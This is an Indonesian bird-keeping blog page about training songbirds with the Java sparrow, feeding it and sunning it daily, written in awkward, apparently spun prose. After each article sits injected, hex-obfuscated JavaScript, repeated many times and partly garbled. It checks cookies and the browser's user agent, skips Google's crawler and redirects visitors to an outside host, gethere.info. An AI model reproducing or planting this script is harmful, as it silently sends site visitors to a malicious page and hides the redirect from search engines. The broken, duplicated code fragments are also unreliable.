IBX5980432E7F390 Tutorial Memaster Burung Berkicau Menggunakan Gelatik Kupas Triknya - Kicauan Burung Lovebird Ngekek

Tutorial Memaster Burung Berkicau Menggunakan Gelatik Kupas Triknya

Cara Memaster Burung Berkicau Menggunakan Gelatik

Cara memaster burung berkicau memakai gelatik gelatik wingko cukup simpel,hasil yang di mampu pun nantinya juga akan lebih memuaskan kalau kita banding dengan memaster dengan burung jenis lain,sebab burung gelatik wingko tergolong burung pemaster ulung..

Burung gelatik wingko memang dikenal sebagai burung pemaster. Apa yang menyebabkan burung gelatik wingko ini dikenal oleh orang sebagai burung pemaster? Karena suara kicauan burung ini yang merdu yang membuat burung ini sebagai burung pemaster. Dengan memasterkan burung peliharaan yang lainnya maka pasti burung tersebut pasti suaranya akan manis.Cara Memaster Burung Berkicau Menggunakan Gelatik

Burung gelatik wingko patut sebagai contoh bagi burung yang belum terlalu sering berkicau. Selain malas berkicau, burung lain yang suaranya belum semerdu burung gelatik wingko, maka dengan menyebabkan burung gelatik wingko sebagai burung master burung tersebut maka dijamin suara burung tersebut pasati bisa semerdu burung gelatik wingko.

Biasanya, burung gelatik wingko akan memaster burung jenis lain seolah-olah burung kenari dengan berkicau terlebih dahulu, sesudah itu barulah burung kenari akan mengikuti suara kicauan burung gelatik wingko. Burung gelatik wingko juga sering berkicau atau memainkan lagunya supaya burung kenari mampu cepat menangkap apa saja yang telah diajarkan oleh burung gelatik wingko tersebut.

Jika penangkar ingin burung jenis lain selain gelatik wingko seakan-akan burung kenari ingin cepat menangkar apa-apa saja yang diajarkan, maka latihan setiap hari perlu diadakan. Apabila burung kenari dilatih setiap harinya maka perlahan-lahan namun pasti kicauan burung kenari tersebut akan mengikuti burung gelatik wingko.

Letakkanlah kandang burung yang ingin dimaster seolah-olah burung kenari disebelah kandang burung yang memasternya seperti burung gelatik wingko. Kenapa sangkar burung yang dimaster harus disamping burung pemaster? Supaya burung yang dimaster akan cepat mencerna apa saja yang telah burung pemaster kicaukan.

Janganlah meletakkan kandang burung yang dimaster dengan burung pemaster berjauhan. Kenapa tidak boleh? Karena jika sangkar diletakkan berjauhan maka burung yang dimaster tidak mendengar kicauan burung pemaster. Kalau sudah begitu maka pasti burung yang dimaster akan lambat mengikuti suara kicauan burung pemaster tersebut.

Burung yang telah dimaster dan penangkar sudah yakin bahwa burung tersebut mampu ikut kontes, maka masukkanlah burung tersebut ke kontes. Akan tetapi, bila suara burung yang telah dimaster belum semerdu burung pemasternya maka janganlah mengikutkan burung tersebut ke kontes.

Hal ini kita lakukan semoga burung berkicau kita memiliki karisma dan keunggulan,sehingga potensi juara akan semakin besar di tangan burung berkicau kita,,semoga berkhasiat..var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ai))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Cara Memaster Burung Berkicau Dengan Gelatik Wingko
  • Burung Gelatik Adalah Pemaster Burung Terbaik
  • Pakan Kroto Dan Ulat Hongkong Burung Gelatik Wingko
  • Melatih Bakalan Burung Gelatik wingko Berkicau
  • Tempat Keberadaan Burung gelatik Jawa Dihutan
  • Cara Mudah Memaster Murai Batu Bakalan
  • Berapa Nilai Harga Jual Burung Gelatik Wingko
  • Penggemar Burung Berkicau Semakin Bertambah
  • Jenis Burung Bisa Dimaster Dengan Burung Gelatik
  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus
  • Kekurangan-kelebihan Memaster Burung Dengan Burung

Pakan Burung Gelatik Wingko Piyikan Dan Dewasa

Pakan burung gelatik wingko piyikan dan sampaumur-Dalam memberikan pakan pada burung gelatik wingko,sesuaikan dengan umur burung tersebut.pakan bakalan atau piyikan berbeda dengan pakan burung gelatik yang sudah cukup umur,pakan yang cocok sesuai umur burung gelatik,sesuai klarifikasi di bawah.

Pakan yang harus diberikan ialah pakan pokok dan pakan alami. Pakan alami yang harus diberikan kepada burung adalah seakan-akan kroto, ulat hongkong dan jangkrik.

Jangkrik merupakan pakan alami burung gelatik wingko pada saat burung tersebut masih berada di alam liar. Jangkrik diberikan 2 kali setiap harinya. Waktu sumbangan pakan yang tepat adalah pada pagi hari dan sore hari.Pakan Burung Gelatik Wingko Piyikan Dan Dewasa

Pada saat pagi hari dan sore hari merupakan waktu yang tepat untuk memberikan pakan alami jangkrik tersebut. Pada pagi hari jangkrik diberikan sekitar 3 jangkrik dan pada sore hari burung gelatik wingko diberikan sekitar 2 jangkrik saja.

Pemberian jangkrikpun bukanlah memberikan eksklusif ke pada burung. Melainkan kepala pada jangkrik di patah lalu jangkrik siap diberikan kepada burung gelatik wingko.

Pakan alami burung gelaitk wingko selanjutnya adalah kroto. Tujuan menyampaikan kroto pada burung berkicau khususnya burung gelatik wingko yaitu supaya burung setiap harinya berkicau.

Apa yang membuat burung gelatik wingko rajin berkicau sesudah memakan kroto? Itu dikarenakan di dalam kroto tersebut mengandung protein yang tinggi, maka dari itulah burung gelatik wingko menjadi rajin berkicau setiap harinya karena memakan kroto.

Pemberian kroto tidaklah harus diberikan setiap hari seperti perlindungan jangkrik. Kroto hanya diberikan seminggu sekali saja. Pemberiannya pun hanya sekitar kurang lebih 2 sendok teh. Jangan memberikan kroto terlalu banyak.

Karena kroto mempunyai pengaruh samping yaitu jikalau burung diberikan kroto terlalu berlebihan maka burung akan over birahi. Jika sudah over birahi maka burung tidak akan mau berkicau.

Pakan alami yang terakhir ialah ulat hongkong. Pemberian ulat hongkong harus dilakukan setiap hari. Pemberian ulat hongkong hanya 4 ekor saja. Jangan berlebihan memberikan ulat hongkong.

Seperti kroto, ulat hongkong juga memilki efek samping juga yaitu mampu mengakibatkan kerusakan pada mata bahkan menyebabkan buta permanen pada mata burung.

Makanan pokok yang harus diberikan pada burung yaitu berupa voer. Voer merupakan pakan buatan yang diberikan sebagai pengganti pakan alami.

Voer harus diberikan kepada burung gelatik wingko setiap hari semoga burung terbiasa memakan voer dan lama kelamaan kuliner yang di makan pada saat masih di alam liar seperti jangkrik digantikan oleh voer.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Pakan Alami Burung Gelatik Hutan Dan Budidaya
  • Cara Menjinakkan Hwa Mei Bakalan Liar
  • Waktu Pemberian Pakan Burung Gelatik Wingko
  • Air Minum Yang anggun Untuk Burung Gelatik
  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus
  • Pakan Alami Burung Gelatik Wingko Gacor
  • Populasi Burung Murai Batu Alam Indonesia
  • Umur Pemberian Pakan Voer Burung Gelatik Wingko
  • Penggemar Burung Berkicau Semakin Bertambah
  • Pakan Kroto Dan Ulat Hongkong Burung Gelatik Wingko
  • Perawatan Murai Batu Menjelang Lomba Setelah Kontes

Penjemuran Serta Perawatan Burung Gelatik Harian

Penjemuran serta perawatan burung gelatik harian-Dalam merawat burung gelatik,melakukan penjemuran,merawat dan memberi pakan setiap hari harus kita lakukan.agar burung tersebut meningkatkan performa kebugaran tubuh serta memiliki banyak vareasi kicauan.perawatan harian burung gelatik banyak ragam serta caranya..

Perawatan harian yang harus dilakukan ialah seperti mandi, membersihkan sangkar, menyampaikan makan dan minum, dan lainnya.

Jika setiap harinya burung dirawat maka akan elok pula suaranya yang dikeluarkannya, mentalnya yang tidak takut kepada keramaian, dan lainnya. Maka dari itu, perawatan harian burung haruslah dilakukan.Penjemuran Serta Perawatan Burung Gelatik Harian

Jika burung tidak terawat dengan baik, maka dapat berakibat fatal setelah burung tumbuh akil balig cukup akal. Burung yang dirawat setiap harinya akan tampak dari suara kicauannya yang merdu. Jika tidak dirawat setiap harinya maka kicauan burung tersebut akan terdengar sumbang.

Penjadwalan perawatan harian haruslah dibentuk. Karena dengan penjadwalah itulah penangkar bisa mengatur jadwal kapan burung akan diberi perawatan.

Berikut ini akan dijelaskan apa-apa saja perawatan yang harus dilakukan oleh penangkar:

  • Penjemuran Burung Gelatik Wingko

Penjemuran ialah termasuk kepada hal yang penting bagi pertumbuhan burung berkicau khususnya pada burung gelatik wingko. Penjemuran yang baik adalah pada pagi hari sesudah matahari terbit tepatnya sekitar jam 07.00 WIB.

Penjemuran dilakukan sehabis burung diberikan makan. Untuk penjemurannya sendiri, terserah kepada penangkar yang ingin menjemur burungnya hingga pukul berapa.

Jangan jemur burung gelatik wingko pada siang hari. Batas penjemuran hanya hingga pukul 08.30 WIB saja. Setelah pukul 08.30 WIB burung tidak diperbolehkan dijemur. Mengapa burung dihentikan dijemur di siang hari? Karena, burung akan kepanasan dan burung akan menjadi lemas.

Ketika burung sedang dijemur dan burung merasa tubuhnya sudah panas maka burung tersebut akan mengeluarkan reaksi tersendiri.

Jika sudah menunjukkan reaksi maka burung harus segera dipindahkan ke kawasan yang tidak terkena sinar matahari, supaya burung tidak kepanasan. Manfaat berjemur bagi burung berkicau khususnya burung gelatik wingko yaitu supaya tubuh burung gelatik wingko menjadi bugar dan sehat.

Selain tubuh selalu sehat, burung gelatik wingko akan sering berkicau setiap harinya. Suara kicauan burung gelatik wingko pun akan semakin merdu.

Ketika demam isu penghujan tiba, maka burung akan lebih sedikit menerima sinar matahari. Hal tersebut menyebabkan burung akan menjadi tidak sering dijemur. Jika pada ketika sinar matahari muncul, maka segera jemur burung. Jangan menunggu lagi, karena sinar matahari tersebut dapat menghilang sewaktu-watu.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4)))var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)n50(0)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai kerikil medan gacor

Wajib Penting Di baca

  • Waktu Pemberian Pakan Burung Gelatik Wingko
  • Air Minum Yang bagus Untuk Burung Gelatik
  • Cara Waktu Memaster Bakalan Burung Gelatik
  • Perawatan Harian Murai Batu Sebelum Kontes
  • Ciri Khas Burung Berkicau Siap Masuk kontes
  • Ukuran Sangkar Burung Gelatik Wingko Dewasa
  • Cara Praktis Merawat Burung Gelatik Jawa
  • Jenis Ciri Fisik Burung Gelatik Jawa Bagus
  • Cara Membedakan Kelamin Gelatik Jantan Betina
  • Pakan Burung Gelatik Wingko Piyikan Dan Dewasa
  • Pakan Alami Burung Gelatik Hutan Dan Budidaya

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Tutorial Memaster Burung Berkicau Menggunakan Gelatik Kupas Triknya"

Posting Komentar